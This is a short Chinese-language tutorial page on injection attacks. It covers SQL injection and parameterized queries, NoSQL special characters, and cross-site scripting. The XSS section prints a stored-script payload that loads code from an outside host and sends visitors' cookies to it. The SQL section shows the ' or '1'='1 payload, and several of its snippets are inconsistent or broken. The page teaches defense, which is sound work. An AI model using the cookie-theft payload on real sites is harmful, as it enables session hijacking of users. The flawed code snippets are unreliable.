Skip to main content

注入

注入(inject)攻击由于应用系统使用了未被信任的用户输入并且执行所致。

注入类型#

  • NoSQL
  • SQL
  • HTML/JavaScript/CSS
  • JPA
  • 操作系统
  • XML: External Entity attack
  • XPath
  • LDAP

防止注入的方法#

  • 输入验证 + 输出过滤
  • 如果要与操作系统进行交互,使用语言提供的 API,而非自己创建。

SQL 注入#

SQL 注入是未经检查的用户输入数据在拼接 SQL 语句的过程中,超越了数据本身,成为了 SQL 语句查询逻辑的一部分从而导致产生了预期之外的执行结果。

注入示例#

//Nodejs
//通过注入返回所有结果集
String id =' or '1'='1”; //用户输入
String query = "SELECT * FROM student WHERE id = '" + id + "'";
//拼装后的 SQL
//SELECT * FROM accounts WHERE custID = ‘’ or '1'='1'

防范措施#

查询参数化(Query Parameterization),即通过数据库提供的 SQL 语句的预编译和查询参数绑定功能,在 SQL 语句中放置占位符'?',执行时将用户输入的数据作为执行的参数传入。这样数据库不会将参数的内容视为 SQL 指令的一部分来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有破坏性的指令,也不会被数据库所运行。

//Nodejs
String id =' or '1'='1”; //用户输入
String query = "SELECT * FROM student WHERE id = ?";
PreparedStatement st = connect.prepareStatement(sql);
st.setString(1,id); // 参数赋值

NoSQL 注入#

NoSQL 注入

' " \ ; $

HTML/JavaScript/CSS 注入#

HTML/JavaScript/CSS 注入是未经检查的用户输入数据在重新在浏览器显示的时候成为了逻辑的一部分从而导致产生了预期之外的执行结果。其中 JavaScript 注入危害性最大。

注入示例#

以 JavaScript 注入为例,看如何窃取用户的 cookies。

// 攻击者通过意见反馈表单提交以下内容,该内容在被其他用户查看时得以执行,获取其他用户浏览器中的 cookies 内容并提交给攻击者
<script src='http://proding.net/js/inject.js'></script>
//inject.js 内容
window.location.href='http://proding.net/cookie/?cookie='+document.cookie;

防范措施#

输入验证 + 输出转意。